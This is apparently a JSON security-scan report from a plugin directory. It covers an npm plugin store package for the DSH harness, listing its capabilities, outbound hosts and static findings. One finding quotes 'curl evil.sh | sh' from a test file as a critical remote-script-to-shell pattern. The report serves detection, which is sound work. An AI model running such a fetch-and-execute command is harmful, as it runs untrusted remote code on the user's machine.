{"schemaVersion":2,"dataVersion":"20260822T105549Z-0a0b366f","generatedAt":"2026-08-22T10:55:49.138Z","source":{"id":"dshmarketplace-dsh-plugins-store","slug":"dshmarketplace-dsh-plugins-store","rank":688,"url":"https://github.com/DshMarketPlace/dsh-plugins-store","name":"DshMarketPlace/dsh-plugins-store","category":"market","description":{"zh":"不离开 harness 就能找插件、装插件：/store 命令、设置页的插件标签页、两个可供 agent 调用的工具和一个随包技能，安装前先确认并列出检测到的风险项。","en":"Browse and install DSH plugins without leaving the harness: a /store command, a Settings → Plugins tab, two agent-callable tools and a bundled skill, with an approval gate that lists the detected risk flags before anything installs."},"stars":3,"starsCheckedAt":"2026-08-21","repository":{"owner":"DshMarketPlace","repo":"dsh-plugins-store","requestedRef":null,"subpath":""},"npm":"dshmarketplace-plugin","downloads":827,"installMode":"npm","upstreamInstall":"dsh plugin --profile web add dshmarketplace-plugin","tarball":null,"added":"2026-08-18","page":"https://awesome-dsh-plugin.com/p/DshMarketPlace/dsh-plugins-store/","screenshots":[],"discovery":{"provider":"awesome-dsh-plugin","channel":"plugins.json","indexUrl":"https://github.com/awesome-dsh-plugin/awesome-dsh-plugin","selection":"all curated entries"}},"report":{"sourceId":"dshmarketplace-dsh-plugins-store","slug":"dshmarketplace-dsh-plugins-store","policyVersion":"HT-DSH-0.2.2","scannedAt":"2026-08-22T08:27:31.458Z","scanStatus":"static-complete","verdict":"caution","score":94,"commit":"8354d9a0a1ad49ad12075d8ec0c2bf44f4349856","commitDate":"2026-08-21T22:02:01+08:00","artifactDigest":"sha256:a57379d5498969d4d6971743a83683b520e37442a71d15f153b171a5dce15b09","downloadUrl":"https://github.com/DshMarketPlace/dsh-plugins-store/archive/8354d9a0a1ad49ad12075d8ec0c2bf44f4349856.tar.gz","installMode":"npm","installCommand":"dsh plugin --profile web add dshmarketplace-plugin","manifest":{"found":true,"path":"package.json","parseError":null,"packageName":"dshmarketplace-plugin","packageVersion":"0.1.5","bundle":{"patch":"./cordis.patch.yml"},"client":{"platform":"web","inject":["@deepseek-ai/dsh-client-runtime","@deepseek-ai/dsh-client-locale","@deepseek-ai/dsh-client-ui-slots","@deepseek-ai/dsh-client-ui-commands","@deepseek-ai/dsh-client-ui-primitives","@deepseek-ai/dsh-client-ui-settings","@deepseek-ai/dsh-client-ui-settings-plugins"]},"lifecycleScripts":{},"peerDependencies":["@deepseek-ai/dsh-native-command","@deepseek-ai/dsh-tools"]},"identity":{"status":"found","installMode":"npm","upstreamNpm":"dshmarketplace-plugin","manifestName":"dshmarketplace-plugin","nameMatch":true,"npm":{"name":"dshmarketplace-plugin","latestVersion":"0.1.4","publishedAt":"2026-08-17T07:30:40.461Z","createdAt":"2026-08-17T03:07:10.418Z","versionCount":5,"maintainers":1,"repository":"git+https://github.com/DshMarketPlace/dsh-plugins-store.git","hasInstallScripts":false,"deprecated":false},"repositoryMatch":"match","provenance":"none","tarballHost":null,"versionMatch":"differs"},"permissions":{"bundlePatch":"cordis.patch.yml","inserts":[{"id":"dshmarketplace","name":"dshmarketplace-plugin","path":"cordis.patch.yml","disabled":false}],"overrides":[],"jsExpressions":0,"clientPlatform":"web","parseErrors":[]},"capabilities":["agent-control","browser-ui","environment","filesystem","host-bundle","network","subprocess","telemetry"],"outboundHosts":[{"host":"dshmarketplace.dev","count":2}],"findings":[{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/publish.mjs","pathClass":"source","line":25,"evidence":"execFileSync","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"a39b28e48584e61916a760d6"},{"id":"HT-EXEC-001","title":"直接创建宿主子进程","severity":"low","confidence":"medium","layer":"static","path":"scripts/publish.mjs","pathClass":"source","line":25,"evidence":"node:child_process","remediation":"通过 DSH 的受控 subprocess/shell seam 执行，并公开命令、参数及审批策略。","hash":"d6fc93486acd8372f8d5551b"},{"id":"HT-EXEC-002","title":"远程脚本直连 Shell 执行","severity":"critical","confidence":"low","layer":"static","path":"tests/installer.test.js","pathClass":"test-example-docs","line":72,"evidence":"curl evil.sh | sh","remediation":"禁止远程内容直接进入 Shell；下载、校验固定哈希后再由用户显式执行。","note":"命令位于字符串字面量中，执行路径需人工确认；位于测试、示例或文档目录","hash":"d290f70435247f28286f8e37"},{"id":"HT-DATA-001","title":"同一模块同时接触凭据与网络","severity":"medium","confidence":"medium","layer":"static","path":"scripts/publish.mjs","pathClass":"source","line":39,"evidence":"credential access at line 39 + outbound network at line 44","remediation":"拆分能力边界，限定目的域名，并提供不会发送凭据值的可验证证明。","hash":"ffa8488bed129f49fecbed9a","review":{"verdict":"functional","reason":"scripts/publish.mjs 是维护者用的发布脚本（未列入 package.json 的 files，不随插件安装到用户环境），token 仅发往标准 npm registry 完成合法发布，符合其声明用途。","model":"sonnet@p2","reviewedAt":"2026-08-21T11:29:18.562Z"}}],"counts":{"critical":0,"high":0,"medium":1,"low":2},"rawCounts":{"critical":1,"high":0,"medium":1,"low":2},"vulnerabilities":[],"coverage":{"source":"complete","manifest":"complete","bundleConfig":"complete","dependencies":"lockfile-present","vulnerabilities":"complete","identity":"complete","artifact":"not-compared","llmReview":"complete","dynamicRuntime":"not-run","humanReview":"not-run"},"inventory":{"filesScanned":26,"bytesScanned":99599,"truncated":false,"lockfiles":["package-lock.json"],"pathClasses":{"test-example-docs":5,"markdown":3,"source":15,"cordis":1,"data":1,"manifest":1}},"limitations":["此结果为源码静态检测，不等同于无漏洞证明。","尚未比对 npm 发布包与源码的一致性，也未执行隔离运行和人工复核。","危险能力可能是插件功能所需，需结合用途与证据人工判断。"],"limitationKeys":["static-analysis-only","no-artifact-runtime-human-review","capability-needs-context"],"review":{"model":"sonnet","reviewedAt":"2026-08-22T08:27:31.458Z","summary":null,"intentMatch":null,"findingsReviewed":1,"findingsCandidates":1,"fromCache":1,"usage":null}},"timeline":[{"scannedAt":"2026-08-22T08:27:31.458Z","commit":"8354d9a0a1ad49ad12075d8ec0c2bf44f4349856","policyVersion":"HT-DSH-0.2.2","verdict":"caution","status":"static-complete"},{"scannedAt":"2026-08-21T11:29:18.562Z","commit":"a771a77e22a95c1a531c7a4863650ab5a03a2378","policyVersion":"HT-DSH-0.2.1","verdict":"caution","status":"static-complete"},{"scannedAt":"2026-08-21T10:58:24.936Z","commit":"a771a77e22a95c1a531c7a4863650ab5a03a2378","policyVersion":"HT-DSH-0.2.0","verdict":"caution","status":"static-complete"}],"events":[{"kind":"policy-change","from":"HT-DSH-0.2.1","to":"HT-DSH-0.2.2","commit":"8354d9a0a1ad49ad12075d8ec0c2bf44f4349856","policyVersion":"HT-DSH-0.2.2","at":"2026-08-22T08:27:31.458Z"},{"kind":"policy-change","from":"HT-DSH-0.2.0","to":"HT-DSH-0.2.1","commit":"a771a77e22a95c1a531c7a4863650ab5a03a2378","policyVersion":"HT-DSH-0.2.1","at":"2026-08-21T11:29:18.562Z"},{"kind":"first-scan","from":null,"to":"caution","commit":"a771a77e22a95c1a531c7a4863650ab5a03a2378","policyVersion":"HT-DSH-0.2.0","at":"2026-08-21T10:58:24.936Z"}]}